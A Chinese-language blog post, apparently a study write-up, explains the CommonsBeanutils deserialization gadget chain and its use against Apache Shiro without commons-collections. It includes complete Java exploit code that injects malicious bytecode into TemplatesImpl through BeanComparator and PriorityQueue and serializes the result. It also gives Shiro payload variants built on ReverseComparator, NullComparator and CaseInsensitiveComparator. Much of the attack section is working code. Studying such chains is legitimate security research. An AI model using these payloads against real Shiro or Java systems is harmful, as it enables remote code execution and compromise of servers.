CommonsBeanutils链与无commons collections的shiro反序列化利用

在cc2中,我们知道可以在commons-collections4通过java.util.Comparator打 java.util.PriorityQueue链;

这篇文章主要探讨之一是是否可以通过java.util.Comparator打其他的链子;

首先,还是先找谁可以调用这个Comparator类的compare方法;

我们在org.apache.commons.beanutils.BeanComparator下找到了compare方法,(毕竟参考p牛的文章,这里就先入为主地引入了)

这里先介绍一下commons.beanutils,从前缀可以看到这是是 Apache Commons 工具集下的另一个项目,

Apache Commons BeanUtils 是 Apache Commons 项目中的一个核心工具库,专注于简化 JavaBean 的操作。它通过反射机制提供了一套高效、灵活的 API,用于动态读写 JavaBean 的属性、类型转换及对象拷贝等

那什么是javabean呢;

简单来说就是一种代码编写规范;主要用于封装业务逻辑、数据操作或界面元素,实现代码模块化和跨平台复用

通过属性私有化+接口方法公有化方式进行一些类的编写;

简单来说就是要访问/操作这个类的属性时候,只能通过公有接口操作(通过公共的 getter/setter方法读写)

比如说以下代码

import java.io.Serializable;

public class UserBean implements Serializable {  // 实现序列化接口
    // 1. 私有属性(驼峰命名,首字母小写)
    private String userName;  
    private int age;
    private boolean isVip;     // 布尔类型属性

    // 2. 无参公共构造器(必须)
    public UserBean() {}

    // 3. 有参构造器(非必须,但方便初始化)
    public UserBean(String userName, int age, boolean isVip) {
        this.userName = userName;
        this.age = age;
        this.isVip = isVip;
    }

    // 4. 公共的 getter/setter 方法(命名规范)
    // 字符串属性
    public String getUserName() { 
        return userName; 
    }
    public void setUserName(String userName) { 
        this.userName = userName; 
    }

    // 整型属性
    public int getAge() { 
        return age; 
    }
    public void setAge(int age) { 
        this.age = age; 
    }

    // 布尔属性(getter 可用 isXxx() 形式)
    public boolean isVip() {   // 推荐 isXxx() 命名
        return isVip;
    }
    public void setVip(boolean isVip) {
        this.isVip = isVip;
    }
}

回到正题,我们在commons.beanutils中找到了compare方法,接下来,看如何利用;

可以看到在BeanComparator,其实从命名也可以猜出来这是一个比较器,构造函数中我们可控且可以进行构造恶意字节码然后传入;

初始化

对比cc2中用到的 transformingComparator

我们发现这里的BeanComparatorcompare方法中并没有调用transform函数;该怎么办呢?

 public int compare(Object o1, Object o2) {
        if (this.property == null) {
            return this.comparator.compare(o1, o2);
        } else {
            try {
                Object value1 = PropertyUtils.getProperty(o1, this.property);
                Object value2 = PropertyUtils.getProperty(o2, this.property);
                return this.comparator.compare(value1, value2);
            } catch (IllegalAccessException iae) {
                throw new RuntimeException("IllegalAccessException: " + iae.toString());
            } catch (InvocationTargetException ite) {
                throw new RuntimeException("InvocationTargetException: " + ite.toString());
            } catch (NoSuchMethodException nsme) {
                throw new RuntimeException("NoSuchMethodException: " + nsme.toString());
            }
        }
    }

但我们发现它调用了PropertyUtils.getProperty这个方法:

作用:通过反射调用目标对象的 Getter 方法 获取属性值,简单来说就是通过getter方法获取对象属性值

例如

User user = new User("张三", 25);
String name = (String) PropertyUtils.getProperty(user, "name"); // 调用 getName()
Integer age = (Integer) PropertyUtils.getProperty(user, "age"); // 调用 getAge()

但这样有什么用呢?

我们思考一下,假设这里是我们的"注入点",我们应该怎么进行注入;

transform应该不行,这里没有调用这个函数的方法;这没有支持触发这个函数的"链"

自然而然我们想到使用动态加载字节码的方式;

但动态加载字节码需要反射调用TemplatesImpl的构造器,也就是newTransformer();

这里有没有transform方法进行实例化;怎么触发呢

我们回顾一下TemplatesImpl链

attacker calls -> TemplatesImpl.getOutputProperties() [public]
                     -> TemplatesImpl.newTransformer() [public]
                         -> TemplatesImpl.getTransletInstance() [private]
                              -> TemplatesImpl.defineTransletClasses() [private]
                                   -> (new TransletClassLoader()).defineClass(byte[] b) [default]

发现链子开头就调用了 TemplatesImpl.getOutputProperties() [public]

其代码中也是标准的Getter写法;

因此我们只需要控制PropertyUtils.getProperty去调用TemplatesImpl.getOutputProperties()不就可以把字节码注入进去了;

确实如此

首先构建TemplatesImpl

  byte[] code=  Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{code});
        setFieldValue(templates,"_name","Hello");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

对比较器BeanComparator实例化;

   final BeanComparator comparator = new BeanComparator(property, String.CASE_INSENSITIVE_ORDER);

再对优先队列queue进行实例化;并添加两个无害的数据;防止compare比较出错,因为 comparer类型为String.CASE_INSENSITIVE_ORDER,所以queue.add("1");

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
   queue.add("1");
   queue.add("1");

最后通过反射修改数据将BeanComparator 中的修改property修改成getoutputProperties 和queue的1改成TemplatesImpl对象,这样就会调用getoutputProperties()触发TemplatesImpl恶意字节码链;

  setFieldValue(comparator, "property", "outputProperties");
  setFieldValue(queue, "queue", new Object[]{obj, obj});

payload

package com.govuln.shiroattack;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 {
    private static void setFieldValue(Object obj, String fieldName, Object value)
            throws Exception {

        Class<?> clazz = obj.getClass();
        Field field = null;

        // 循环查找字段(包括父类)
        while (clazz != null) {
            try {
                field = clazz.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }

        if (field == null) {
            throw new NoSuchFieldException(fieldName);
        }

        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[] code=  Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{code});
        setFieldValue(templates,"_name","Hello");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        ObjectOutputStream oss = new ObjectOutputStream(outputStream);
        oss.writeObject(queue);
        oss.close();

        System.out.println(outputStream);

        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
        Object object = objectInputStream.readObject();
    }
}

最后也是弹出计算器了

shiro无commons-collections依赖反序列化漏洞利用

首先我们知道;shiro550中其实有保存有CommonsBeanutils 1.8.3的依赖的(有的版本可能已经删除)

commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collection的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。

这时候就需要无依赖的Shiro反序列化利用链

思路之一:找一个等效果的类进行替换

这个类必须可以序列化:实现了java.io.Serializable 接口

这个必须是比较器类:实现了 java.util.Comparator 接口

可兼容且没有外部依赖:Java、shiro或commons-beanutils自带,且兼容性强

我们先看BeanComparator为什么需要commons-collections的依赖;

从BeanComparator源码中可以看到BeanComparator默认依赖引用了commons-collectionsComparableComparator;在参数缺省时会默认使用commons-collections的ComparableComparator;那在没有这个库依赖时呢;

也就是说 这时候就需要寻找一个Java/shiro/commons-beanutils原生且实现Comparator和Serializable的替代类,避免外部依赖

通过idea找到同时实现了Comparator和Serializable的类有

ReverseComparator2,NullComparator,ReverseComparator,CaseInsensitiveComparator

经发现有的是私有的,无法直接实例化;

发现ReverseComparator和CaseInsensitiveComparator可以完美调用;

以下给出ReverseComparator版本的代码,p牛给出的是CaseInsensitiveComparator版本的,由于原理都一样,只需要将代码中 Collections.reverseOrder()换成String.CASE_INSENSITIVE_ORDER即可,其实有个细节就是 Collections.reverseOrder()依赖的是 java.util.Collections;类,而CASE_INSENSITIVE_ORDER依赖java.lang.String类 ,虽然都可以是原生类,但String类更为常见一些

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.PriorityQueue;

public class CommonsBeanutils1Shiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }
}

;
这里给出新尝试的函数NullComparator(false)发现也是可以的;

只需要把以上的payload

final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

修改成

final BeanComparator comparator = new BeanComparator(null, new NullComparator(false)); 

即可

总结:本文中讲述了CB链的利用和打法:通过getter获取TemplatesImp链中的getoutputProperties方法触发这条链,从而加载字节码;

以及shiro反序列化的无依赖打法:利用java/shiro/commons-beanutils原生类的构造器绕过BeanComparator构造函数的缺省默认commons-collections构造器去触发readobject->...->compare函数的反序列化链;

-------------------------------------------备注----------------------------------------------
参考p牛->知识星球->代码审计->java系列文章

 posted on 2025-06-04 18:01  ୧૭  阅读(35)  评论(0)    收藏  举报